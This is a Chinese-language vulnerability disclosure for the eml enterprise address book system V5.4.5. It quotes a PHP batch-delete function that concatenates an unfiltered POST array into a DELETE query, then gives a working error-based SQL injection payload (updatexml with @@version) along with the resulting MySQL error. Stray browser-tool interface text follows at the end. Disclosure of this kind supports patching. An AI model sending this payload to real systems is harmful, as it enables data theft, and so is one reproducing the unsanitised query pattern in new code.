eml企业通讯录管理系统经典版V5.4.5 通讯录管理sql注入漏洞

漏洞简介

eml企业通讯录管理系统,是基于Linux开放性内核和Apache基础上Php+Mysql的智能B/S交互式服务系统。 eml企业通讯录管理系统 v5.4.5 通讯录管理页面item参数过滤不严导致sql注入。

##漏洞分析##

在文件 www/action/action.address.php 文件 第183行 批量删除函数过滤不严导致sql注入。

```
//批量删除
if($do=="del_all"){
    If_rabc($action,$do); //检测权限
    is_admin($action,$do); //检测权限
    $arr = $_POST["item"];
    $count_arr=count($arr);
    if($count_arr==0){
    echo error($msg);
    exit;
    }
    $str = implode("','",$arr);//拼接字符

    $sql = "delete from eml_address_list WHERE id in('{$str}')";
    if($db->query($sql)){echo success($msg,"?action=address");}else{echo
error($msg);}
    exit;

 }
```

可以看到 `$arr = $_POST["item"];` 已数组的方式直接从post传递过来的item变量获取值，没有任何过滤，直接拼接到sql语句导致sql注入漏洞。

##漏洞证明## 管理员权限登录网站，访问以下url，发送post包即可注入出敏感数据。

```
http://localhost/index.php?action=address&do=del_all

postdata:item[]=0&item[]=-1') and updatexml(1,concat(0x7e,(SELECT
@@version),0x7e),1)#
```


localhost/index.php?action=address&do=del_all
mysql error:
1105:XPATH syntax error: '~5.5.53-log~'
查看器
控制台
调试器
样式编辑器
性能
内存
网络
存储
HackBar
Encryption
Encoding
Other
Load URL
Split URL
Execute
http://localhost/index.php?action=address&do=del_all
Post data
Referrer
User Agent
Cookies
Post Data
item[]=0&item[]=-1') and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#